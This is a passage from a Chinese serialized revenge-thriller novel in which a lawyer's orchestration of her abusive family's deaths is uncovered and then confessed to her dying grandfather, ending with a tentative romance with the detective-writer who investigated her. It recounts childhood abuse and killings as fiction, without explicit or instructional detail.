他说:“你刚才问,我上钩后,起到了什么作用。我除了推动案件进展外,还无形中跟你打各种配合。例如,你假装无意中透露曾立兴夫妇不愿意购买东方华府的信息给我;例如我被引诱去跟踪你,而你在曾晖家楼下故意上我的车,跟我讲了一段故事。这吸引了曾晖的关注,你让曾晖知道,警方因为张皓钧的案子在跟踪调查你,这让戴丽华和曾立兴自我怀疑,我们跟踪你是不是跟他们有关系。他们怀疑曾立兴可能已经暴露,这让戴丽华下定决心,牺牲对家庭已经毫无作用、只会拖后腿的曾立兴。” “一切都按照你设想的进行。曾立兴一死,你果断转向,利用张蕤帆设置陷阱,成功摆脱曾晖,同时让下一个目标,张蕤帆上钩。每一步都算的很精准。” 张越凝反驳:“你当我是神仙啊!” 陆从景给予充分赞许:“跟神仙差不多。在壹世界会所,你跟曾晖分手后,我看你可怜巴巴的流泪,我当时还有些愧疚,我不应该怀疑你,跟踪你……” 她吐槽:“没看出愧疚。我看你挺高兴的,唱歌都唱劈叉了。” “见笑。”陆从景也没解释当时是为了转移她的注意力,故意的。 他双手撑在桌上,“《第三枚指纹》话剧演出现场,我坐你后排,我能看出,你对张蕤帆有意无意的撩拨和掌控。他像吃了你的迷魂药似的,对你有一种……似有若无的,占有欲。” “刚刚还是神仙,现在变成妲己了。”她总是举重若轻,化重拳于绵帛。 这次他没被她牵着鼻子走,而是继续刚才的话题:“你对张蕤帆的潜移默化应该由来已久,我们下午去了张蕤帆的房间搜查,搜到了好几本书,有《冰与火之歌》、《卡拉马佐夫兄弟》,还在张蕤帆电脑里发现了,你分享给他的《说岳全传》故事新编视频,里面有‘曹宁弑杀曹荣’的新式解说……这些都是跟弑父有关的故事。” “在彭秀生日这天,我不确定你是不是特意挑选彭秀生日来发难的,或许,你想让她真切感受自己的生日变成儿子忌日的痛苦,你的助理兼好搭档沈青打电话给邹富贵,给他透露了赵润嵩的行踪。同时,你精准控制了张蕤帆到达泰吉酒店的时间,让他在停车场看到了邹富贵和他父亲赵润嵩亲热的精彩一幕。” 陆从景在卡纸上写下张蕤帆的名字,然后把他名牌钉在张越凝与赵润嵩之间。 张蕤帆这个不该在牌桌上的男人,上桌了。 “张蕤帆是个非常直的直男,他没办法忍受自己的父亲是个同性恋,他仿佛找到了他母亲自杀的真正原因,他也没办法接受父亲是杀害张皓钧的凶手,这就相当于把他想要跟你走在一起的路,堵死了。这几个条件相互叠加,促使张蕤帆选择铤而走险,完成了弑父的过程。他并不知道幕后黑手还有他奶奶,他以为杀了他父亲就能掩盖一切。” “让彭秀的孙子在她的生日当天杀了她儿子,这个仇报得不可谓不爽。” 听及此,张越凝微微垂眸,她否认:“这些都是你的……臆想。不过,挺有意思。” “有一点我没明白,你跟张蕤帆关系还不错,你为什么要借他的刀杀人,让他成为杀人犯呢?他就算逃过死刑,那他这辈子也毁了。”陆从景看着张越凝,“他是不是做过伤害你的事?按道理,他一个张家的外人,他应该不敢才对。除非,他做过帮凶。你记恨他。” 第44章第44章张皓月离世之后,初三上学期…… 张皓月离世之后,初三上学期,是张越凝过的最为祥和的一个学期。 自从张皓钧被当面揭发,拿她照片自慰之后,张越凝能察觉到张皓钧不再正眼看她,在各种场合,避免跟她呆在一起,这让张越凝自在了许多。 但他对她还是关心的,默默地带着他的小心思关心着她的一切。 事情的改变发生在春节期间。 赵蕤帆本就比他们大一岁,高一个年级,以前他不亦乐乎地做张皓月的跟屁虫,等大一点,回过味来,他开始为自己的行为感到羞愧。 这种羞愧不是因为他觉得自己错了,不该霸凌张越凝,而是羞愧于自己竟然做一个小女孩的跟屁虫。 羞愧于自己竟然在关键时候晕血,羞愧于自己竟然脱了裤子都没爬上她的床,羞愧于被张皓钧赶出了房间。 但他不敢表现出来。 大年初二这天,张家去城郊的弘山寺上香,上完香在斋菜馆用午餐。 张越凝坐在靠窗的休闲椅上发呆,赵蕤帆拿着相机过来。 “越凝,给你拍照。” 张越凝不想拍,但爷爷奶奶就在旁边坐着,她不好拒绝,只好给他比了一个“V”字。 “你怎么不笑。像昨天晚上那样,笑的开心点。” 张越凝恍惚,她昨晚什么时候笑得很开心了?或许是独自看电视的时候? 显然,赵蕤帆在暗中观察她。 刚好爷爷奶奶出去了,张越凝也就没再搭理赵蕤帆,她起身去洗手间。 等张越凝离开,赵蕤帆又对角落的张皓钧说:“皓钧,给你也拍一张。” 张皓钧在玩游戏,他没抬头,直接拒绝:“不拍。” 赵蕤帆在张皓钧身边坐下,他倒回去看数码相机里过年期间拍的照片。 终于打完一局的张皓钧,放下游戏机,忽然问:“你昨晚跟张越凝在一起?” 笑得很开心是怎么笑?在哪里? 自尊心作祟的赵蕤帆,似乎终于逮到了可以找回面子的机会,他嘴角上扬,过了好一会儿才道:“她说不能告诉你。” 幽暗的火苗在张皓钧的眼中一点点炸开,游戏机被丢在一边,下一瞬,张皓钧死死掐住了赵蕤帆的脖子。 “狗杂种!” 两个人扭打在一起。 被大人拉开的时候,赵蕤帆脸上多了一道血痕,他委屈,却又满心喜悦。 由于张鸿禺偏心亲孙子,再加上张皓钧平时表现很乖巧,大人们都以为只是两个男孩之间的小矛盾,就没细究,这事就这么不了了之。 张越凝并不知道他们打架跟自己有关,她只是冷眼旁观着,回到家就闷在房间里看书。 临睡前,外面阳台传来动静,张越凝警惕地站起身。 夜色中,张皓钧翻过了阳台。 自从上次张皓钧翻阳台来救她之后,她知道阳台并不安全,所以,平时都会锁阳台门。 今晚是因为屋里有点闷,她就没锁。 张皓钧冷冷站在她面前,一步步走进,眼睛里满是红色的血丝。 他就像一头被触怒的野兽,什么话都不说就来咬她脖子。 张越凝剧烈反抗,她朝他手臂上狠狠咬了一口。 被咬疼的张皓钧把她压在身下,抓着她的头发,“真贱!是男人你就要吗?!” 张越凝气晕了头,“你有病!” 真有病的张皓钧像被触了霉头,抓着她的脑袋就往床头上撞。 “我有病!我就是有病!要不然你以为你存在的价值是什么?你以为你是我爸的私生女就能得到更多?!” 她是谁的私生女?当时还不到15岁的张越凝很震惊。 “张越凝,你好好记住,你只是我的血袋!我的附属品!懂吗?”张皓钧又朝她挥了一个拳头。 张越凝往旁边躲,混乱中,一脚踹到他裆部,张皓钧痛得匍匐在地上,半天起不来。 张越凝从枕头底下摸出防身的水果刀,问他:“你说我是谁的私生女?” 空气凝滞了片刻,张皓钧终于艰难站起身。 他扶床站好,回想起好多年前,他听爷爷跟医生说,张越凝跟他是同父异母的姐弟,爷爷询问医生,直接输血是不是不行? 当时他还小,不懂什么是同父异母。 听张皓钧说完,张越凝不可置信地摇头,“那你还……你还这样对我?!” 泪水从张越凝眼角滚动而下。 张皓钧扭头看向窗外,他没回答她的问题,走到阳台门前,他回过头x,狠狠瞪着她:“你不是!你不配!” 他不承认她跟他有血缘关系。 她只能是他的血袋,他的附庸。 从此之后,张皓钧不定时过来折磨她,她把阳台门锁了也没用,他有钥匙。 后来她故意把门锁弄坏,秦姨找人来换了新锁,但没过多久,张皓钧还是想办法弄到新钥匙,进来了。 从初三开始,张皓钧对她纠缠折磨到高二,直到他死之前。 张越凝不是没有对外求救过,可惜没用。 而秦姨那段时间要伺候家中生病的老人,晚上都不住在张家,没人能帮她。 有一次,她额头被张皓钧磕伤了,淤青一大片。 吃饭的时候张鸿禺看见了,问她怎么回事。 “张皓钧打的。” 啪! 张鸿禺把筷子拍在了桌上,“张芷琼,这两个兔崽子,你是怎么教育的?动不动就这样打闹,像话吗?” “是他打我。”张越凝知道辩解没用,但她还是要说。 张鸿禺听不得别人说他乖孙的不好,他饭都没吃完,就走了。 烂摊子交给张芷琼处理。 张芷琼当然不会处理张皓钧,她瞪向张越凝,等回到房间,她气得拍自己的脑门:“以前是张皓月,现在是张皓钧,故意往上找茬是吗?” “是他打我,我录音了。” 张芷琼不可置信地看向女儿,“张越凝你疯了是吗?你们小孩子打架你为什么要录音,你什么居心?” 录音MP3被张芷琼收走了,张越凝站在房门口,看着穿衣镜中的自己,一片一片被撕碎。 晃了会儿神,张越凝看着软木墙上张蕤帆的名字,想起陆从景刚才的问题。 张蕤帆是不是做过伤害你的事? 张越凝微笑着摇头:“没有。” 陆从景理解,“你不会承认的。你不在乎被查出来,不然,你早就去清理张蕤帆的物品了。” “我犯法了?”她又问了一遍。 “没有。”他回答的毫不犹豫。 张越凝:“你还有什么要问的吗?” 还有,陆从景说:“霍兵的双眼被你当事人徐罡挖了。” “我知道。我上午刚给徐罡申请精神疾病鉴定。” “这会不会有点太过巧合?” “你以为呢?” “我知道你不会做犯法的事,我查过,你大学除了辅修商业管理外,还是法律与心理学双学位。那么你有没有可能用你的心理学办法,曾经暗示过他?” 张越凝否认:“霍兵都要被判处死刑了,我没有动机这么做。” “所以,你能告诉我,你复仇的动机是什么吗?如果是为张皓钧报仇,那就是上次你跟我说的,他对你的伤害,其实都是谎言?”他盯着她,等待她的答复。 张越凝微微抿唇:“你就当做是吧。” 陆从景张了张口,想说什么,最终还是选择作罢。 如果是谎言倒还好,说明她没受过那些伤害。 她问:“你要把这个故事改编成书吗?” 如果真写成书,虽然法律拿她没办法,但她肯定会被卷进风暴中心。 无论是善意还是恶意,舆论都不会放过她。 不过她并不在乎。 陆从景看着她,声音低了低:“我不可能把你推到风口浪尖上。” 张越凝微微触动,似有什么东西,这一瞬间把她蜷缩的心熨平。 她把杯中酒一口喝完,浓烈醇厚的酒香,从口腔萦绕成鼻息。 张越凝看着书架上那一排旧书,那是她带领着他看过的小说,她轻声问:“你为什么改名字了?刘晋伏。” 好久没听别人这么叫他了。 陆从景的心嘭嘭跳跃而起,对上了她的目光,她那双眼,像那满是裂痕的玻璃球,轻轻一碰就碎了。 他今天,是刻意把他们看过的书放在最显眼位置的。 “我爸出轨跟我妈离婚后,我改跟我妈姓,重新换了名字。” 张越凝轻轻点头:“陆从景……挺好的名字。” “你好几天没来上学,老师说你生病住院了,我偷偷跑去医院想看你,去了两次,可惜……都没找到你的病房。” 所以,当年去医院找她的男孩真的是他,不是她的幻想。 他满是抱歉地说:“我小的时候,脑子太笨。” 张越凝收回目光,手指滑动着酒杯的边缘,没说话。 “我想去看你……看你的病好点没有,还想告诉你,我要转学了。” 张越凝强颜欢笑道:“初三开学,我看你的位置空着,才知道你转学了。你怎么不给我写信啊?” 她仿佛是在替十多年前的自己在发问。 “写了,没寄出去。” 父母离异让他多了以前没有的敏感,在特需病房区碰壁后,陆从景发现自己和张越凝在家庭背景上差距太大,还是个少年的他胆怯了。他当时完全不知道她在张家受的苦难。 两人目光再次相触,却又不约而同地避开。 陆从景:“高二那年,我和我妈妈回来探亲,我想去找你,刚好我一个亲戚跟你是同学,她告诉我,你跟数学老师在谈师生恋……我打退堂鼓没敢去找你。我以为你已经忘记我了。我妒忌戚振勋,后来又妒忌曾晖,得知你和曾晖分手的时候,我在壹世界唱的那首歌就是我当时的心情。” 他当时唱的什么歌? 哦,青藏高原!她记得。 印象深刻。难怪唱劈叉了。 张越凝笑了。 见她笑,他也忍不住笑。 “我以为你已经认不出我了。所以,你一开始就知道我是刘晋伏,是吗?” “嗯。”短暂沉默之后,她说:“我看了你所有的小说。” 他的系列侦探小说,名侦探女主叫初美。 他替她改写了初美的命运。 陆从景心跳如擂鼓,“你是特意选择我来调查这个案件的,是吗?” “你觉得呢?” “那就是。” 虽然她把他算计进来了,但他不在乎。 这何尝不是另外一种信任呢? 无论是同学,朋友,还是…… 他正想说什么,忽然听见“吱吱……吱吱……”的手机震动声。 这电话来的真不是时候。 张越凝拿出手机,“喂,成叔。” 贺成声音比较急:“刚才你妈妈来医院跟你爷爷道别,父女俩吵了一架,医生说你爷爷恐怕不行了。” 张芷琼果然找张鸿禺算账去了。 “我马上来。”张越凝挂了电话,非常平静地跟陆从景解释,“我爷爷不行了,我现在要去医院。” 陆从景理解,这么多年都过来了,他也不在乎这点时间。 他主动请缨:“你喝酒了,我送你。” 张越凝没有拒绝,她转身把酒杯放餐桌上,拿起手提包出门。 陆从景跟在她身后,下楼,两人一路上没说话。 天已经黑了,小区门口有阿姨在跳广场舞。 音乐轻快欢乐,夹杂着涌动的人群。 不知为什么,他第一次感受到了人间烟火气的可爱。 第45章第45章张越凝赶到医院的时候,张红…… 张越凝赶到医院的时候,张红芳一家正围绕在张鸿禺病床周围。 见张越凝进来,赖文斌等主动打招呼。 刚才张芷琼跟张鸿禺吵架的内容,他们都听见了,也都知道了张越凝是张启峰的女儿。 “爷爷。”张越凝轻轻唤了一声。 张鸿禺听见孙女的声音,手指轻轻动了动,以示回应。 张越凝对张红芳说:“姑奶奶,你们先回去吧。有事我让成叔通知你们。” 已经快过晚餐时间了,张红芳年纪大,也确实熬不住。 “也行。你爷爷要是有什么情况,第一时间通知我们。” “好。” 看着他们出去,贺成把病房门关上,也出去了。 张鸿禺微微闭着眼:“你不用管她,也别怕她。她自己会想明白。” “她”指的是张芷琼。 张越凝站在张鸿禺床前,自上而下审视着,好一会儿都没说话。 张鸿禺不由得睁开眼,问:“怎么了?” “现在就剩我们两个了。” 她语气轻飘飘,冷冰冰的,与往常的温和完全不同。 人是极为敏感的动物,张鸿禺就算是病入膏肓了,依然敏感地捕捉到张越凝的异样。 “怎么了?”他又问了一句,语气也随之变了。 虽然虚弱,但仍听得出一惯的强势。 张越凝看向病床对面墙壁上悬挂着的全家福拼图,这是不久前,她亲手拼装完,送给张鸿禺的。 这个全家福拍摄于十五年前,拼图里只有张鸿禺、张启峰夫妇和张皓钧张皓月兄妹,一家五口。 她指着全家福,x“很快,您老人家就能跟他们团聚了,一家人整整齐齐。” “你在说……在说什么?咳咳咳咳咳咳……”张鸿禺有点不敢相信自己的耳朵,他激动得连连咳嗽。 张越凝就这么冷冷看着他,等他咳嗽停了,才继续:“当年我亲生母亲生病之后,我每天都呆在她身边,她不可能来找你,你撒谎了。” 这么多年过去了,张越凝犹记得,那天傍晚,妈妈给她买了她爱吃的小蛋糕,妈妈蹲下来,跟她说,妈妈要去很远很远的地方治病,让她去新家乖乖等着她回来。 虽然当时张越凝只有七岁,但她似乎能隐隐感知到,自己被抛弃了。 不是被母亲抛弃,而是被现实。 “我猜你们用了些手段,把我从我妈妈手中骗过来。我妈妈可能以为,张家经济条件优渥,而我身上流着张家的血,那我回到张家,将会是最合适的去处。她肯定不知道,我从此进了狼窝。” “我才七岁,瘦瘦小小,连血管都找不到的孩子,你们就把我当成了血包,吊着张皓钧的命。用我的命来换张皓钧的命,才是你接我回来的真正目的。张皓钧的命就比我高贵?别说是亲孙女了,请问,你有把我当人吗?” 张鸿禺气得睁大了眼,“我……我没亏待你!” “没有亏待吗?”张越凝无奈笑着,“你是指需要输血时,肉蛋奶、营养品给得足足的,生怕我出意外死掉,影响给张皓钧输血,等张皓钧的病治好了,就完全无视我的存在?等张皓月病发,马上又把我的营养补起来,继续给张皓月当血包,给她续命?他们是金子银子,宝贝疙瘩,而我,是地底的泥巴,需要的时候用来砌砖,不需要就踩上一脚,往旁边一踢。” 她语气很轻,仿佛在说别人的故事。 “如果,我就这么在夹缝中长大,就算是被当做血包,我想我也不会做任何的反抗。但是,张皓月连同赵蕤帆欺负我折磨我的时候,我都被打进医院了,我向你求救,希望得到你的哪怕一丝丝公平对待,结果你让我失望了。你像个伪君子,假装公正,给张芷琼施加压力,让她来平息掉我。还有张皓钧,他骚扰霸凌殴打了我快三年,我反抗,那就是互殴,我自杀想报警被阻拦,都没人给我主持公道。这就是你说的,没亏待我吗?” 这么包含血泪的控诉,从张越凝口中说出来,却是轻轻巧巧,没有一丝感情似的,平静的海面下,看不出是否暗潮涌动。 只是那双晦涩的眼眸,偶然闪过的寒光,让人清楚明白,她是会潜藏报复的狼。 张鸿禺不愿意相信张越凝的话,他努力发出声音:“不可能……不可能的……皓钧不会这么做……” “都这个时候了,你还装糊涂,装作什么都不知道。我就是这么一步步,被你们推进深渊的。”张越凝平静地问:“你知道张皓月是怎么死的吗?” 张鸿禺看向张越凝。 “医用冰箱的插座是我拔的。” 张鸿禺不可置信地瞪大了他那浑浊的眼睛。 不可能的。 “我每天洗冷水澡,不好好吃药,就是为了高烧不退,当时我就想,我是自己死,也不要张皓月活着。” “你!”张鸿禺只觉得喉咙被沸水滚过,半天说不上话来。 “我错了吗?我没错。医用冰箱里保存的全是我身上抽出来的血!我把电断了,也就断了。张皓月一个靠吸我血活着的寄生虫,没我她早死了。” 怎么会这样?张鸿禺微微摇头,他忽然意识到,张越凝现在告诉他这件事,摆明了是想要活活气死他。 她是来跟他算总账的! 她忍他这么多年,把遗产骗到手,眼看他活不长,就露出真面目,是想要他立刻死啊。 张鸿禺颤颤巍巍伸手想去按把病床升起来的按钮,他想坐起来,可惜手没力气,按不动。 他越想越气,骂她:“混……混账!” “我混账?你怎么不骂张皓月混账,怎么不骂张皓钧那个王八蛋混账呢?” “张皓月欺负我的时候,张皓钧救过我。我曾经以为他是这个家的例外,他是好人。谁知他就是个坏了的胚子!前期折磨我,我都忍了,只反抗和躲避,从没想过报复他,直到这个禽兽强奸了我,当时我只有一个想法,就是让他死。”一抹杀气从张越凝眼中一闪而过。 “我那时候还小,也没太高明的办法,就想跟他同归于尽。” 彼时张鸿禺住院进了重症监护室,张家长辈大部分时间都在医院守着。 张皓钧长青春痘,家里找医生给他开了中药,在厨房里煎熬,张越凝趁着这个机会,买了一包老鼠药,偷偷倒进他的药里。 听到这里,张鸿禺的手轻轻颤抖着,他本来就已经病入膏肓,此时脑袋更是气成一团浆糊。 他知道张越凝没有表面那么温顺,她聪明能自保,但从来没想过,她是个狠人。 “我倒老鼠药不小心被秦姨发现了。秦姨及时制止了我,她跟我说,仇可以报,但前提条件是,不能连累自己。”张越凝微微凑近张鸿禺,“你还不知道吧?秦姨跟我一样,也想你们死。” 秦姨是来张家报仇的。 张越凝:“骆金水发妻是秦姨的亲姐姐。骆金水老婆之所以会死于难产,全因你们阻止医生去施救。当时你儿媳才开始阵痛,有护士看着不会有问题,但你们自私霸道,阻拦医生离开,最终造成一尸两命的惨剧。张皓钧张皓月兄妹从出生起,就是带着罪恶的畜生。” 秦姨之所以选择到张家做保姆,是因为曾经信誓旦旦要为妻儿复仇的骆金水靠不住,他有了新家庭,新的妻子和儿子,他不想再冒险,秦姨没办法,只好亲自来找机会替姐姐报仇雪恨。 当初张越凝去关电闸拔医用冰箱插座的事,秦姨是知道的,她心疼张越凝,并劝她耐心等待,不要着急。 “我跟秦姨刚好互补,她想要的是,当初在产房里阻拦医生救人的三个人必须死,那就是你和你儿子儿媳。我则要欺我辱我的张皓钧张皓月的命。正好是你们一家五口,完完整整。” 张鸿禺浑浊的双眼翻涌着震惊,他从没想过,家中用了这么多年的保姆会有问题。 再一想,贺成还是秦姨介绍来鸿达上班的。难怪他之前委托贺成去国外帮他找代孕生子的事,国内医生说他精子活力没问题,去了美国却又都不成功。 原来……张鸿禺顿觉天旋地转,手抖得更厉害了。 “秦姨劝我,如果想让张皓钧死,千万不能自己动手,最好的办法就是借刀杀人。而且,当时就有个机会,她让我耐心等待结果。” 原来前两天家里收到一封海外邮件,当时在等国外培训机构回信的张皓钧没仔细看就把信拆了,拆信后他才发现是彭秀妹妹从美国寄来的家书,张皓钧没细看,把信纸匆匆塞了回去。 结果彭秀发现信封被别人拆开后,非常紧张,她质问是谁拆的信,保姆纷纷表示不知道。 秦姨好奇信中内容,她趁彭秀外出,用以前偷偷配好的钥匙打开抽屉,发现了彭秀的秘密。 彭秀前夫的死不简单。 虽然彭秀妹妹没有明确说,但从信中文字不难猜测,彭秀前夫不是自杀,而是彭秀把安眠药混进感冒药里,伪装成自杀,难怪彭秀这么紧张。 当天下午,等彭秀回来,秦姨假装不经意跟彭秀透露是张皓钧看了她的信,还说张皓钧把信塞回去后,又拿出来看了一遍,看着有些奇怪。 彭秀一边笑着解释说没事,一边下定决心,在张鸿禺出重症监护室前除掉张皓钧,既解决了她杀夫秘密泄漏的隐患,又除掉张鸿禺的遗产继承人,一举两得。 没几天,秦姨听到彭秀找了人要杀张皓钧。也就是张芷琼偷听彭秀打电话那里。 “在张皓钧被杀的前一天,秦姨怕出意外连累我,她偷偷告诉我,让我小心一点,放学就自己回家,不要跟张皓钧一起。” 他们这家人,除了张鸿禺,都知道彭秀要杀张皓钧,但一个阻拦的都没有。 张鸿禺气得嘴都歪了,想说话已然说不出来。 “一家五口,就剩下你一个了。对了,知道你儿子儿媳怎么死的吗?” 张鸿禺不可置信地看着张越凝。 张启峰夫妇是出意外被泥石流埋了,难道不是?不可能。 “这件事秦姨要亲口跟你说。”张越凝给秦姨打去视频。 视频铃声才响了两下,秦姨就接了。 秦姨新x烫了个头发,她如今住在张越凝的新房子里,跟张越凝生活在一起。 “有声音吗?” “听得见。秦姨,你跟他说吧。”张越凝把手机换了个方向,让张鸿禺也能看到秦姨。 刚才还能说话的张鸿禺,此时歪着嘴,话都说不出来。 秦姨先调侃了一声:“你命挺好,又多活了10年。” 张鸿禺斜瞪着眼,猪肝色的脸皱成了一团。 “既怕你老不死,浪费国家粮食,又怕你死得早,越凝继承不了你的遗产。现在,我终于心安了。我等这天等了好久。” 秦姨说话略带西南口音,无论说什么,都分外的悦耳。 “关于你儿子儿媳的死,我还是要跟你摆明白。” “你还记得吧?那天下好大的雨,你打电话回来,让我转告张启峰夫妻两个不要去弘山了。我转告了,确实没让他们去弘山,而是让他们改道临潭去东坪。” 秦姨托人找了一辆大货车,打算来一场交通意外,送张启峰夫妇归西。 “谁能想到,老天有眼,他们开车经过临潭的时候,遇到了泥石流,天老爷把他们夫妻两个都收了!同样是发洪水的落雨天,我经常会想,是不是我姐姐在天有灵,把他们收走了?不过,我和你都有功劳,因为是我假借你的名义,让他们去东坪的。” 听到这,张鸿禺愤怒地狂吐口水。 噗!噗! 可惜他力气不够,口水只吐到了自己的嘴边,沿着嘴角流下来。 秦姨嫌弃地皱了皱眉头,“你又吐不到我身上,省点力气吧。自那以后,我明白了一个道理,杀人不需要自己动手。只要道理在你这边,找准时机,老天会帮你。我也是这么教越凝的。能不自己动手,就不要自己动手。你看这一次,我们收拾彭秀这帮人,收拾得多漂亮,一箭三雕。现在整个张家,干干净净的,只剩下越凝一个人,多好。” 张鸿禺闭上眼睛,嘴巴嘟囔着:“关了!关了!” 他不要再看见秦姨的脸,不要再听到她的声音。 他的儿子怎么会是被她害死的? 血液往脑门上冲,眼看监护仪要嘀嘀叫起来,张越凝挂断了视频。 周围安静下来,张越凝平静地看着张鸿禺,“我会替你多做点善事,给你积德的。至于鸿达,我会捐出去。” 把张鸿禺辛辛苦苦打下来的江山捐出去?!!!这比杀了他还难受。 张鸿禺血压瞬间飙升到顶,“你……不行……不能……不能……捐!” 嘀嘀嘀嘀嘀嘀! 监护仪狂叫起来。 “想找贺成?爷爷你还挺天真。到现在你还不知道贺成是谁的人?”说完,张越凝拔掉了监护仪的电源。 张鸿禺惶恐地看着张越凝,歪着的嘴支吾了半天,似乎在问:你要杀我? 张越凝站在他面前,居高临下的眼神不带丝毫情绪,像看一条垂死的鱼在砧板上拼命挣扎着。 时间一秒一秒过去。 张鸿禺感觉自己呼吸越来越困难,他挣扎着伸出手,想要去按呼叫器。 可他的手完全不听使唤,根本勾不到呼叫器的位置。 他没想到,自己会死在自己的继承人,他的亲孙女手上。 他后悔,后悔当初不该…… 不该什么呢? 脑子一片混沌,他喘不上气了。 就在这时,张越凝走前来,按下了呼叫器,随即道:“你放心,我不会那么傻,犯法杀你。当然,我也不会让你这么轻易死去。听说想死却死不了,才是世上最大的折磨。我一定会让医生尽力抢救,给你插满管子,把你的命,在半空吊着。” 虽然吊不了几天了,但是,在痛苦煎熬中等待死亡的降临,那才是真正的地狱。《 》 【全文完结】 第45章第45章全文完结 拎起桌上的全家福拼图,张越凝走出了病房。 她把拼图递给贺成:“烧了吧。” “好。前几天你跟我说,要把股份分给全体员工,你个人只留1%,这件事你要不要再考虑清楚?” “我没想过去鸿达上班。以后鸿达怎么发展,由全体员工自己决定。” 贺成不理解:“辛辛苦苦绕了一大圈,做了这么多事,才继承的鸿达股份,就这么捐出去了有点可惜。” 虽然张越凝继承的不动产和存款,几辈子都花不完,但鸿达才是真正能发展壮大的事业,以捐出去为由头气张鸿禺就算了,没必要真捐出去。 “你可以给员工干股,给他们分红权,但股份还是留在你的手上,你不想管,就交给管理层和全体持股员工,你想管的时候,随时可以收回权限。” 这个建议进退自如,既符合张越凝的心愿,也符合她的个人利益。 “我再想想。”张越凝往外走了几步,又停下来,“把姓赖的一家三口赶出鸿达,我不希望我捐出去的股份,他们能分到一丝一毫。还有,别让他们靠近重症监护室。” 对姑奶奶一家的厌恶,张越凝现在是一刻都不想忍了。 “我来想办法。你先回家休息吧,这边我会盯着的。” “辛苦你,成叔。” “应该的。” 张越凝从住院部出来,发现外面在下毛毛雨,她这才想起,自己没开车来。 她晃了会儿神,正要打电话让司机下来,身后传来声音:“你爷爷怎么样了?” 陆从景从住院部的小卖部出来,外面下雨,他去买了一把伞。 张越凝没想到他还没回去。 “进了重症监护室。应该熬不了多久了。” 陆从景不太会安慰人:“生老病死,人生常态。” 张越凝微微笑着,没说什么。 她今天很开心。 陆从景也没细究她表情的不合时宜之处,他问她:“饿了吗?去吃点东西?” 她确实饿了,晚上她就在他家吃了一粒牛肉干。 “想吃点重口的。” 陆从景撑开伞,“我记得这附近有家麻辣香锅大排档。” 他买的这把黑色伞有点小,两人并排走,还是有雨飘进来,他只能把伞尽量往她这边倾斜。 驱车来到隔壁街巷的大排档,店外撑了雨棚,这雨是忽然下起来的,吃宵夜的客人并不少。 也没店员来招呼,刚好有一张桌子空出来,他们便自己走过去坐下。 有个阿姨过来边收桌子边问他们:“吃什么?” 这家店最出名的是牛蛙,陆从景问她:“牛蛙吃吗?” “吃。” “辣子鸡呢?” “也吃。” “要一份牛蛙排骨香锅,一份辣子鸡,再来一份炒藕节。你还想吃什么?” “来盘毛豆。” 店里客人多,也没服务员给他们倒茶水,陆从景便去里面冰箱拿了两瓶汽水。 毛豆已经先端上来了,张越凝剥着毛豆,问他:“你以后要回省城吗?” “我自由职业,住哪里都可以,暂时没有计划回去。”说着,他补充了一句,“这里挺好的。你呢?” 张越凝:“我想离开这里。” 陆从景诧异:“去哪里?” “没想好。” “鸿达不用你打理?” “不想打理,准备捐出去。” 陆从景很意外,他看她并不像开玩笑的样子,忙愧疚道:“很抱歉,我以为继承家业是你的目标之一。” “不用抱歉,那确实是我的目标之一。”这是今晚到目前为止,对于整个案件,她对他唯一的坦诚,“继承了不一定非要占为己有。我不想那么累。” 这么多年,她已经够累了。 陆从景忽然发现,她对他来说,是如此陌生。 对于家庭中她原本缺失的爱和财富,得不到的时候,她拼了命的想要得到,等真的拿到手,她或许就意兴阑珊不再需要了。 对于人,是不是也如此? 千方百计拉他入局,看着他上钩,看着他深陷其中,等他真不能自拔时,她会不会就义无反顾地转身离开? 到最后恐怕连朋友都做不成。 服务员端了牛蛙上来,陆从景瞬间回神,“还没给我们拿碗和筷子。” “马上就来。” 张越凝问他:“你刚才想什么?” “想你为什么这么果断。” “每个阶段想要的东西不一样。” “你现在想要什么?” “刚刚得到以前没有的自由,暂时没其他想要的。” 暂时没其他想要的。 陆从景的心跟外面的细雨一样,随风飘荡着,是他想多了,她拉他入局,只是为了完成她想要实现自由的梦。 碗筷拿来了,还没吃之前,他用干净筷子给她夹了排骨和牛蛙腿。 她问:“你下一本书写什么?” 陆从景摇头:“没想好。休息几个月再说。” 正吃着,里面有一桌刚吃完的出来,有人唤了一声:“张律,没想到你也会来这种地方。” 张越凝抬头一x看是同行,她放下筷子,起身跟人打招呼:“好久不见。” “我听说你辞职了?”都知道张越凝要回家接管家业了,但毕竟大家没有那么熟,也不好打听这些事。 张越凝笑道:“没辞职。” 她也没多解释。 对方尴尬笑了笑,转移话题:“这位是?” 张越凝介绍:“我同学陆从景。” 又跟陆从景介绍对面的两人:“陈律、饶律……” “陆从景?是作家陆从景吗?!哎哟,我是你书迷。”陈律过来跟陆从景握手。 这种无效社交陆从景平时是不愿多寒暄的,对方毕竟是张越凝的朋友,他还是礼貌跟人聊了几句。 “下周我们有聚餐,张律,叫上你同学一起来。” 张越凝婉拒:“我们还有事就不去了。” 那两人识趣没再打扰,等人离开,张越凝轻轻松了口气,“这就是我不愿意在临城多呆的原因之一。” 去哪儿都有认识的人。 陆从景还是试探了句:“自己一个人在外,也挺孤单的。” “想要得到自由,必定会伴随孤独。况且不自由的时候也孤独……”张越凝吸了口汽水,她的心已经在路上。 外面的雨势大了,满耳都是雨声。 陆从景细细琢磨着她说的话,回到家,躺在沙发上,还在想。 手枕在脑袋下,耳边传来机械手表走秒针的声音。 自由的孤单常见,但自由的陪伴,是不是也可以有? 回想起她叫他刘晋伏的时候,那微颤的尾音。 想起他问是不是特意选择他来调查这个案子时,她言简意赅的肯定。 陆从景从沙发上慢慢坐起来,外面还在下雨,窗户紧闭,他回来忘记开空调,闷了一头的汗。 他起身走进书房,站在软木照片墙前面,盯着她的照片看了许久。 就算是陷阱,是深渊,又如何呢?为什么要清醒? 是他心甘情愿引颈受戮的。 陆从景把其他人的照片和名字都取了下来,只留下正中间张越凝的照片。 又站了会儿,他把自己的名字卡片贴到她的照片旁,就这么并列一排放着。 他站着看了很久很久。 接下来几天,陆从景先去做了全身体检,然后去4S店买了一辆新的越野车。 刑侦大队的顾问工作,他辞掉了。 这天他回队里收拾东西,办公室只有刘泰安在。 刘泰安帮他找了一个纸盒,“你哪天回省城?帮我带点东西给你外婆和母亲。” 陆从景:“目前没计划。” 刘泰安以为陆从景还在跟自己拗气,“我之前语气是重了点,你姓什么我无权过问,只要你自己想明白就行。你没必要老这样板着脸对我。” 陆从景还是那噎死人的语气:“当初是你哥哥抛弃我妈和我,他毁了我的人生,我跟谁姓是我的自由。” “知道,理解,以后这个事我们就不再提了。你不回省城,那是怎么打算?” 